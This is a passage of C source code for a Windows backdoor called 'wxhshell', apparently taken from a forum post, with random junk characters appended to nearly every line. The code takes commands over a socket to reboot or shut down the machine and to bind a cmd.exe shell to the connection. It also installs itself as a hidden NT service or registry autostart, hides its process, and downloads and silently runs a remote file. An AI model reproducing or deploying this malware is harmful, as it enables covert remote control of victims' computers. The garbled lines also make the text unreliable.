      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e<C5}#wt  
    break; M1ayAXO  
  } sdO;vp^:b  
  // 安装 6iC}%eU  
  case 'i': { 2j"%}&  
    if(Install()) r{<u\>6X>P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a"&Z!A:Z=  
    else sztnRX_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Mys;Il "  
    break; L>L4%?  
    } b _u&%  
  // 卸载 S3J6P2P  
  case 'r': { ,LMme}FFeb  
    if(Uninstall()) & 9?vQq|%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C8t+-p  
    else \`XJz{Lm]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2i>xJMW  
    break; T@RzY2tz  
    } @DUdgPA  
  // 显示 wxhshell 所在路径 )0GnTB;5Z  
  case 'p': { tlcA\+%)  
    char svExeFile[MAX_PATH]; }6S4yepl  
    strcpy(svExeFile,"\n\r"); >`NM?KP s  
      strcat(svExeFile,ExeFile); QyN~Crwo  
        send(wsh,svExeFile,strlen(svExeFile),0); w{r ->Phe  
    break; %(kq Hxc  
    } .i. |wY  
  // 重启 vj_oMmjKw  
  case 'b': { k|lxJ^V#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BF_k~  
    if(Boot(REBOOT)) {?jdPh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z%AIv%  
    else { J%A`M\  
    closesocket(wsh); \hq8/6=4s  
    ExitThread(0); \u/5&[;  
    } -e)bq: T  
    break; nRo`O  
    } e;pNB  
  // 关机 , m\0IgZdz  
  case 'd': { C )I"yeS.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sEj:%`l|  
    if(Boot(SHUTDOWN)) 7<tqT @c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b\+|g9Tm  
    else { cj8r-Vu/N  
    closesocket(wsh); lLJb3[ e.  
    ExitThread(0); XWvs~Xw@  
    } H\b5]q %  
    break; zHU#Jjc_b  
    } ^twv0>vEo  
  // 获取shell woT"9_tN  
  case 's': { 3@&H)fdp6a  
    CmdShell(wsh); q#778  
    closesocket(wsh); pvM8PlYo]`  
    ExitThread(0); 000 $ZsW?  
    break; ~d%Q1F*,=  
  } m3XH3FgKz  
  // 退出 -'0AV,{Z  
  case 'x': { Mu( Y6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FlgB-qR]<n  
    CloseIt(wsh); E:o:)h?$  
    break; D4vmBVT  
    } 3Mcz9exY  
  // 离开 U-? ^B*<  
  case 'q': { I/> IB   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bOFLI#p&  
    closesocket(wsh); 0 iE).Za0g  
    WSACleanup(); eHJ7L8#  
    exit(1); b{ozt\:M  
    break; ."^dJ |fN  
        } _Pz3QsV9  
  } N 4v)0  
  } 2(rZ@Wl  
&B2c]GoW  
  // 提示信息 w2,T.3DT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =%u|8Ea*`  
} NY;UI (<]  
  } %<"11;0tp  
#,PAM.rH  
  return; "@?|Vv,vn  
} a "DV`jn  
Q)@1:(V/  
// shell模块句柄 O1ha'@qID  
int CmdShell(SOCKET sock) Y1'.m5E  
{ &Kv evPF  
STARTUPINFO si; wW<"l"x,  
ZeroMemory(&si,sizeof(si)); <  t (Pw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?|8Tgs@+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PVU"oz&T  
PROCESS_INFORMATION ProcessInfo; h.9Lh ;j  
char cmdline[]="cmd"; oe*&w9Y}&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yki k4MeB  
  return 0; ^sOm7S{  
} Fp6Y Y  
{l11WiqQH  
// 自身启动模式 =zjUd  5  
int StartFromService(void) YKg[k:F  
{ w.Vynb  
typedef struct L@_">' pR  
{ &+j^{a  
  DWORD ExitStatus; (rG1_lUDu  
  DWORD PebBaseAddress; XH *tChf<  
  DWORD AffinityMask;  b:QFD|  
  DWORD BasePriority; %1@<),  
  ULONG UniqueProcessId; lp}WBd+  
  ULONG InheritedFromUniqueProcessId; ^'fKey`  
}   PROCESS_BASIC_INFORMATION; oGVSy`ku  
cO RMR!  
PROCNTQSIP NtQueryInformationProcess; u0Erz0*G4  
xs I/DW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4 ufLP DH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q-G|@6O  
P\mm8s`f  
  HANDLE             hProcess; 9i<-\w^$  
  PROCESS_BASIC_INFORMATION pbi; zn ?;>Bl  
^!<7#kX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3N"&P@/0x  
  if(NULL == hInst ) return 0; jDX<iX%e  
Inc:t_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &a=e=nR5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7ILa H|eN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |{PJT#W%  
8-"5|pNc  
  if (!NtQueryInformationProcess) return 0; cQ.;dtT0  
hu|hOr8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0#[f2X62B  
  if(!hProcess) return 0; VDKS_n  
kxW>Da<6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !"J#,e|  
uK:-g,;  
  CloseHandle(hProcess); 0c61q Q6  
f 4I#a&DO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mrC+J*  
if(hProcess==NULL) return 0; /plUzy2Yu  
iL_F*iK5  
HMODULE hMod; @sHw+to|p)  
char procName[255]; :#[_Osmf(  
unsigned long cbNeeded; gww^?j#  
vNt>ESPB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =_=Z;#`cXk  
b_jZL'en  
  CloseHandle(hProcess); eqZ+no  
qysa!B  
if(strstr(procName,"services")) return 1; // 以服务启动 3Y{)(%I  
pRwGv  
  return 0; // 注册表启动 UB$`;'|i  
} `SjD/vNE  
dA} 72D?  
// 主模块 MpA;cw]cI/  
int StartWxhshell(LPSTR lpCmdLine) z g7l>9Sc  
{ EotwUT|  
  SOCKET wsl; e?| URW  
BOOL val=TRUE; T]6c9_  
  int port=0; V< vPFxC  
  struct sockaddr_in door; >yBxa)  
akhL\-d)al  
  if(wscfg.ws_autoins) Install(); !wd'::C  
T1Q sW<*j  
port=atoi(lpCmdLine); E ;!<Z4  
*?bk?*?s  
if(port<=0) port=wscfg.ws_port; =kb6xmB^t  
#t@x6Vt  
  WSADATA data; hOB\n!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eky(;%Sz  
r)p2'+}pV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .ts0LDk0f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4`6c28K0?  
  door.sin_family = AF_INET; N<06sRg#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AzW7tp;t =  
  door.sin_port = htons(port); qEJ8o.D-=  
u\XkXS`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8pPC 9ew\=  
closesocket(wsl); ^.#X<8hr  
return 1; >&;>PZBPCO  
} l#b|@4:I  
+`*qlP;  
  if(listen(wsl,2) == INVALID_SOCKET) { 7w Q+giu  
closesocket(wsl); xegQRc  
return 1; I/HV;g:#  
} K3rBl!7v  
  Wxhshell(wsl); )Ig+uDGk  
  WSACleanup(); :4 j a@~  
0\'Q&oTo  
return 0; 3e%l8@R@  
eA?uny f2r  
} -R&E,X7N  
,g/ _eROJ  
// 以NT服务方式启动 G#w^:UL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zg#m09[4  
{ 7G.o@p6$  
DWORD   status = 0; 0+}EA[  
  DWORD   specificError = 0xfffffff; KQ4kZN  
Pr5g6I'G   
  serviceStatus.dwServiceType     = SERVICE_WIN32; " ^HK@$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]$~Fzs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >gk z4.*  
  serviceStatus.dwWin32ExitCode     = 0; dG\U)WA(p  
  serviceStatus.dwServiceSpecificExitCode = 0; ]<kupaRQ  
  serviceStatus.dwCheckPoint       = 0; S jVsF1d_  
  serviceStatus.dwWaitHint       = 0; X,TTM,1w  
_[OF"X2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~h)@e\Kc  
  if (hServiceStatusHandle==0) return; 6?V<BgCC  
a)!![X?\  
status = GetLastError(); 9- xlvU,o  
  if (status!=NO_ERROR) mRhd/|g*  
{ 7fju  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t7w-TJvP  
    serviceStatus.dwCheckPoint       = 0; ME$2P!o  
    serviceStatus.dwWaitHint       = 0; q=6Cc9FN  
    serviceStatus.dwWin32ExitCode     = status; YDQ:eebg(  
    serviceStatus.dwServiceSpecificExitCode = specificError; gA~20LSt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K(nS$x1G  
    return; )jyq{Jb  
  } O^9CV*]!n  
zL:&Q<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZV'$k\  
  serviceStatus.dwCheckPoint       = 0; lWx  
  serviceStatus.dwWaitHint       = 0; d/D,P=j"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  0]AN;  
} )0#j\ B  
D##+)`dK  
// 处理NT服务事件,比如:启动、停止 2+?T66 g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sm 's-gD  
{ G2.|fp_}pG  
switch(fdwControl) pheE^jUr  
{ GE1i+.+-.  
case SERVICE_CONTROL_STOP: /g_9m  
  serviceStatus.dwWin32ExitCode = 0; _om0 e=5)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ))7LE|1l  
  serviceStatus.dwCheckPoint   = 0; LHh5 v"zjG  
  serviceStatus.dwWaitHint     = 0; vQ:wW',i  
  { G' Blp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E7Ibp79}N  
  } nX0HT )}  
  return; {?E<](+0  
case SERVICE_CONTROL_PAUSE:  _e%dM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v" }WP34  
  break; G&q'#3ieC  
case SERVICE_CONTROL_CONTINUE: 1/B]TT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'E4AV58.  
  break; Ntb:en!X  
case SERVICE_CONTROL_INTERROGATE: pb!V|#u"  
  break; qgoJ4Z*  
}; )Im3'0l>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9\HR60V  
} M!1U@6n!=)  
eGm:)   
// 标准应用程序主函数 ]' Y|N l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xka<I3UD5  
{ U@G"`RYl  
5?WYsj"  
// 获取操作系统版本 ~h-C&G ,v  
OsIsNt=GetOsVer(); Nln`fE/Ht  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5W/{h q8}}  
-LtK8wl^  
  // 从命令行安装 m9in1RI%  
  if(strpbrk(lpCmdLine,"iI")) Install(); pkJ/oT  
57wFf-P  
  // 下载执行文件 .evbE O5  
if(wscfg.ws_downexe) { |EKu2We*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kb71q:[  
  WinExec(wscfg.ws_filenam,SW_HIDE); j^flwk  
} \v+u;6cx_  
~#R9i^Y  
if(!OsIsNt) { 'JieIKu  
// 如果时win9x,隐藏进程并且设置为注册表启动 EIjI!0j  
HideProc(); y<pnp?x4  
StartWxhshell(lpCmdLine); * z'8j  
} "wAf. =F  
else oH^(qZ8W  
  if(StartFromService()) %Y]=1BRk}  
  // 以服务方式启动 $&{ti.l  
  StartServiceCtrlDispatcher(DispatchTable); =-NiO@5o  
else :_5/u|{  
  // 普通方式启动 <3 TA>Dz  
  StartWxhshell(lpCmdLine); nd ink$  
%f j+70  
return 0; {%C*{,#+8q  
}
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只看该作者 1 发表于: 2006-10-10
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